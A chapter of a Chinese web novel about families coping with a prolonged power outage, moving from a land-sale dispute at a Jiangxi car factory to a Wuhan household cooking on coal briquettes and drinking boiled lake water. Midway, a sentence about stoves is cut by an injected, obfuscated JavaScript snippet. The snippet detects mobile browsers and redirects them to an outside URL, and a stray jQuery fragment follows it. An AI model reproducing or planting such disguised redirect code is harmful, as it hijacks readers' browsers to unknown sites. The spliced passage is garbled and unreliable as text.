李老头用手指着路,嘴里不停说着什么。刘继听不懂,但看手势知道是在指路。
汽车在小路上左转右转,开了好一会儿,才看到汽车厂的大门。刘继提醒道:“现在汽车厂的车都不能开了,他们的技术人员要是看到你这车能开,会不会跑出来研究研究?”
李排骨觉得有道理:“那我停远一点。”
李怀九忍不住又问弟弟:“为什么别人的车都不能开,就你这车能开?”
李排骨用江西土话简单解释了几句,一边说一边找了个僻静地方停好车——被人围观可不是什么好事。
他们下了车,在附近边走边看,发现厂里打了几口井,取水非常方便。
几个人不知道汽车厂的售楼部在哪里,一边走一边打听,终于找到了地方。
还没进门,就听到售楼部里吵吵嚷嚷,走进去更是听到一片怒骂声。刘继听不懂这群江西老俵在骂什么,只看到一个个情绪激动。
李排骨父子三人去打听了情况。刘继问:“搞清楚了他们为什么这么吵吗?”
李排骨愤愤地说:“他们卖地皮要五万一平方!太他么黑了,怎么不去抢?当初他们从老俵们手里征这块地、拆人家房子的时候,一户才赔了二百八十万。现在老俵们想买回同样大的地皮,得花五百多万!谁有五百多万买他的地皮?老俵们都想打人了!那些住得离水井远的人,现在都想搬回水井旁边住。”
他们四个人在这里看了半天,当然也买不起地皮。李老头父子三人也跟着瞎起哄,骂骂咧咧。售楼部里只有几个瘦弱的女销售,手足无措地看着激动的人群。
待了大半天,李老头催着儿子们回家——天色不早,还要挑水做饭呢。
四人离开售楼部,慢慢走回停车的地方,上了车。李排骨驾车离开了汽车厂。
厂里有几个人看到了这辆驶离的豪车,都大惊小怪地叫起来:“这是谁的车呀?为什么他的车能开,我们的都不能开!”
回到家,刘继和李排骨去一家宾馆开了两间房。李排骨不想爬十楼,他要带着妻子惠惠住宾馆。
为了做一顿晚饭,一家人又忙忙碌碌地挑水、砍柴。饭后李排骨和李怀九兄弟俩提了几桶水上十楼——这段爬楼经历令人崩溃,但不得不然:晚上要上厕所,需要水冲;一家人的饮用水,也需要烧开后提上楼。
李排骨提了两桶水上楼,觉得自己快要累成狗,喘着气说:“无论如何,我们都要去汽车厂搞一块地皮盖房子!哪怕是去打架、去抢,也要弄块地皮盖个平房!”
刘继帮他提了三层楼,也累得不行,出主意道:“你不用去抢地皮。把你那些石头卖了,不就有钱买地皮了?
李排骨叹气道:“我也想卖啊,可得有人要才行。”
刘继说:“你跟我去武汉,说不定在武汉能找到买家。”
李排骨想了想,下定决心:“行!只能去武汉碰碰运气了。要是在武汉找不到买家,我们就去北京、去香港,总要找找看有没有人要。”
晚上,惠惠点了一支蜡烛,为刘继和李排骨照明,三个人,在烛光摇曳中回到了宾馆住宿。
早上离开宾馆时,惠惠还记着把那一小节蜡烛带回来,她说现在晚上照明都是用蜡烛,蜡烛可贵了。
第二天,李排骨和刘继就准备动身去武汉。李怀九也想跟他们一起去,却被李老头拦住了:“你走了谁来挑水?让我这个老头子一个人挑吗?挑水也就算了,还要提水上十楼!你想累死我这把老骨头吗?”
李排骨说:”哥,你就辛苦辛苦,留下来帮爸挑水。”
李怀九只好留下来。刘继出主意道:“其实不一定非要提水冲厕所。我们在深圳的时候就听说,有人用塑料袋装粪便,然后扔下楼。”
李怀九听了哈哈大笑,笑完又忧伤地说:“停了这么久的电,那家伙的塑料袋估计早用完了,最后还不是得提水爬楼?我们家的垃圾袋也都用完了,市面上也没有垃圾袋卖了,现在每天都要把垃圾桶拎下楼去倒。”
李排骨的妻子和嫂子看到那些宝石,都心花怒放。她们每人挑了几颗最漂亮的宝石留下,其余的都让李排骨带走了。
开车去武汉,一路上都是刘继在驾驶。他开了大半天,傍晚时分,终于到了位于武汉东湖附近的家。
车子经过东湖时,他们发现湖边乱七八糟停了许多车辆,显然已经废弃多时。开车进入小区时,道路上也停着不少车,他们的车只能绕来绕去,好不容易才开到了自家门口。
他们打量着小区,发现空地上搭了不少简易棚子,混乱程度与江西的小区不相上下。刘继庆幸家门口没有搭棚子,正好可以停车。
刘继家不用爬楼梯,他们住的是一种复式结构的楼房,一楼和二楼捆绑在一起销售,开发商美其名曰“别墅”。刘继很庆幸自己当初赚了钱后帮哥哥买了这套房子,不然他也得像李排骨一样天天提水爬楼。楼上原本有他自己的房子,但他入狱后那套房子就被政府拍卖了,现在已是别人的家。
回到家,刘继受到家人的热情欢迎。母亲抱着他哭了一场,在厨房忙碌的哥哥嫂嫂也赶过来,父亲听到动静也从楼上下来了。
大家七嘴八舌地问:“你怎么出来的?难道就这么放出来了?这么快就出来了?”
刘继解释道:“监狱的门突然被人打开了,我就走出来了。反正没人拦着,走着走着就回家了。”
大家听得一头雾水:“还可以这样?”
母亲埋怨他不该以身试法,更不该不听政府的话从监狱跑出来。刘继对母亲的关心有些感动,但听了一会儿就不耐烦了,跑去厨房查看新砌的灶台——他现在特别关心灶具问题。哥哥刘宽想起厨房还有事要做,也跟了过去。李排骨好奇地跟着他们去看厨房。
厨房就在大门边,李排骨一进门就注意到了:刘继家的灶与江西的柴火灶不同。江西和深圳人多用双锅柴火灶,款式大同小异,都有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309580|182854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两个固定的大铁锅;而武汉人则是单锅灶,上面没有固定锅具,只有一个可以放锅的凹窝。
刘继看到厨房里有煤球,问哥哥:“这黑乎乎的是煤球啊?咱们家打的是煤球灶吗?”
哥哥刘宽点头确认家里打的是煤球灶。他在电网停电后就失业在家,没事就在厨房洗洗抹抹,像个家庭主夫。
李排骨感叹道:“武汉人真不错啊,生活条件比我们江西好多了,还有煤球灶。深圳都只在一些单位才有煤球灶。海乔招待所用的就是煤球灶,比你们家的大些,可以同时放三个大蜂窝煤。你们这个灶只能放一个吧?”
刘宽说:“我们的灶能放两三个小型的蜂窝煤,垒起来放。”
刘继看到灶中间的洞里有一个蜂窝煤,就用火钳夹了一个想垒上去。刘宽看着他垒煤球,纠正他:“你这样放错了,蜂窝煤的孔要对齐,才能通风。”
刘继放弃了,把蜂窝煤夹出来放在地上的煤球堆里。把煤球都夹出来后,他看到灶洞底部是一个铁栏网,既可以通风又可以漏灰。
刘宽又把那个烧红的煤球垒上去,他说你把它放下来,这个煤球就黑掉了,晚上又要重新生火。
刘宽小心的把煤球垒好,火渐渐的旺起来。刘母和嫂子进来做饭炒菜,差不多到弄晚饭的时间了。男人们就退出了厨房,把厨房让给女人们。
刘继问哥哥:“武汉停电后生活是不是很不方便?”
刘宽叹了口气:“刚开始停电时,大家都不适应。没水没电没煤气,吃干粮都吃了十几天。现在武汉还有煤球卖,菜市场也有菜卖。刚停电的那个月物价飞涨,现在稳定了些,不过还是比停电前贵了不少。”
刘继这才放心,也明白了武汉人家打的大多是煤球灶,比江西和深圳的柴火灶要好些。大武汉毕竟是九省通衢之地,有天然的地理优势,交通运输便利。
刘继口渴了,看到水桶里的水就想拿勺舀着喝,哥哥刘宽急忙喝止:“别喝!这水不干净。去喝客厅桌上的水,那是烧开过的,能喝。”
刘继问:“这水不干净?从哪里打来的?”
哥哥说:“是东湖的水。现在武汉人喝的不是东湖水就是长江水。”
刘继吃了一惊:“湖里的水能喝吗?长江的水能喝吗?”
哥哥解释道:“水烧开了都能喝。你还想喝井水?武昌倒是有几口古井,但路那么远,又没有交通工具,只能就近取水。”
刘宽还吟了一首诗:“君住长江头,我住长江尾,日日思君不见君,共饮长江水。这说明我国古人一直都喝长江水,长江水养育了我们一代又一代人。和停电前唯一的区别是以前的水净化过才喝,现在直接饮用,所以必须烧开,一样有消毒杀菌的作用。”
刘宽倒了两杯水给刘继和李排骨。两人看着杯子里的水,有些犹豫要不要喝。停电以后虽然取水不便利,但无论在深圳还是江西,他们喝的都是井水,现在要喝长江水,心里难免有点膈应。